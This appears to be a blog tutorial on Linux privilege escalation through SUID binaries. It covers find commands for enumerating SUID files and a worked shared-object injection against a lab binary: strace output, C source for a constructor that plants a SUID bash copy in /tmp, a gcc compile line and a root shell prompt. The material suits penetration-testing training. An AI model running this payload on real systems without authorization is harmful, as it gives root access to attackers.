SUID Binaries
SUID stands for “Set User ID”, and it is a special type of permission that can be given to a file so the file is always run with the permissions of the owner instead of the user executing it. This is necessary for a lot of programs to work properly in Unix. The ping program requires root privileges to create network sockets. It is also a program that is commonly used by non-privileged users to test network connections. Instead of only allowing users with elevated privileges to run ping, the SUID permission is placed on the file so that anyone can run the program with root privileges. Because ping is a tried and tested program, it has been deemed safe to be run with SUID permissions.
Other programs have various ways of abusing SUID privileges because they have additional features that allow a user to “break out” of the intended functionality.
You can use these commands to find a list of SUID enabled executables on a Unix machine:
find / -user root -perm -4000 -print 2>/dev/nullfind / -type f -perm -04000 -ls 2>/dev/nullfind / -type f -perm -u=s 2>/dev/null | xargs ls -lfind / -perm -u=s -type f 2>/dev/nullfind / -user root -perm -4000 -exec ls -ldb {} \;
After you have found a list of SUID programs on the machine, the next step is to identify SUID binaries that are out of date, or not native to the Linux system. For example: if we see a SUID binary called /bin/ping then we can assume the binary is not vulnerable because it is a native Linux binary. Identifying non-native SUID binaries comes with practice. Below is a list of several “safe” SUID binaries that are native to the Linux system. Keep in mind this is not an all-inclusive list:
pingping6passwdsudochfnapringgpasswdchshchfnmountsudosuumountmountnewgrppppd
Google is also useful for identifying binaries that aren’t native to the Linux system. After you have identified potentially vulnerable SUID binaries, we can determine the best way to attack them.
Dynamically Linked Shared Object Injection
Unix applications use shared object libraries (.so files) to provide functionality to applications without having to re-write the same code multiple times. These shared object files are loaded into processes that are already running. They are very similar to a .DLL (Dynamic Link Library) for Windows applications. These shared object files are usually found in the /lib/ or /usr/lib/ directories.
When a program tries to call an .so file and the shared object file doesn’t exist, an error will occur. Since the program is attempting to load a missing .so file, we can create our own malicious .so file and place it in the location the program expects it to be (if we have write access to the location). Now when the program is started, it will load in our malicious .so file and execute whatever commands we want with the permissions the program is running as.
To identify potential vulnerabilities in SUID binaries with missing shared objects, a list of potentially vulnerable SUID binaries should first be identified using the commands above. After a list of SUID binaries have been identified, we should identify any SUID binaries with missing .so files using a tool called strace. Below is an example of how to identify and exploit SUID binaries with missing .so files:
Identify all SUID binaries using one of our SUID location commands:
user@target$ find / -type f -perm -u=s 2>/dev/null | xargs ls -l-rwsr-xr-x 1 root root 30112 Jul 12 2016 /bin/fusermount-rwsr-xr-x 1 root root 34812 May 16 2018 /bin/mount-rwsr-xr-x 1 root root 157424 Jan 28 2017 /bin/ntfs-rwsr-xr-x 1 root root 38932 May 7 2014 /bin/ping-rwsr-xr-x 1 root root 43316 May 7 2014 /bin/ping6-rwsr-xr-x 1 root root 38900 May 17 2017 /bin/su-rwsr-xr-x 1 root root 26492 May 16 2018 /bin/umount-rwsr-xr-x 1 root root 48264 May 17 2017 /usr/bin/chfn-rwsr-xr-x 1 root root 39560 May 17 2017 /usr/bin/chsh-rwsr-xr-x 1 root root 78012 May 17 2017 /usr/bin/gpasswd-rwsr-sr-x 1 root root 7376 Nov 18 22:03 /usr/bin/vulnsuid
Above we notice a SUID called vulnsuid that doesn’t seem to be native to the system. We use the strace program to “diagnose” the SUID binary and figure out what system calls are being made:
user@target$ strace /usr/bin/vulnsuid 2>&1 | grep -i -E "open|access|no such file"... snip ...open("/home/user/custom.so", O_RDONLY) = -1 ENOENT (No such file or directory)... snip ...
We notice the vulnsuid binary is trying to call the /home/user/custom.so library file, but it says “No such file or directory.” If we have write access to the /home/user directory, we should be able to inject our own malicious .so file where the SUID binary expects it to be so when the SUID binary is run again it will execute whatever commands we want as the root user.
We now create our malicious .so file and save it as custom.c
#include <stdio.h>#include <stdlib.h># GCC attribute which will be run when a shared library is loaded.static void inject() __attribute__((constructor));void inject() {# copies over /bin/bash and adds SUID bit to get root shellsystem("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");}
We now compile our file as a .so file.
gcc -shared -o /home/user/custom.so -fPIC /home/user/custom.c
After we run the SUID binary, we should be running as the root user.
user@target$ /usr/bin/vulnsuidbash-4.1# whoamiroot
Other SUID File Permission Vulnerabilities
There are a few other known attacks against misconfigured SUID binaries such as Environment Variable manipulation, and SUID binary Symlink abuse. Attacks against these vulnerabilities are far and few and usually have custom exploits which can be found on www.exploit-db.com. Like mentioned above, you can first identify SUID binaries that aren’t native to the system, and google known vulnerabilities for them. Some of the concepts behind these attacks are a little too advanced for the scope of this post and require disassembly of binaries to analyze them. I hope by mentioning them here it will give the more advanced readers something to look into, and for everyone else, just realize you can generally find known exploits for specific SUID binaries online.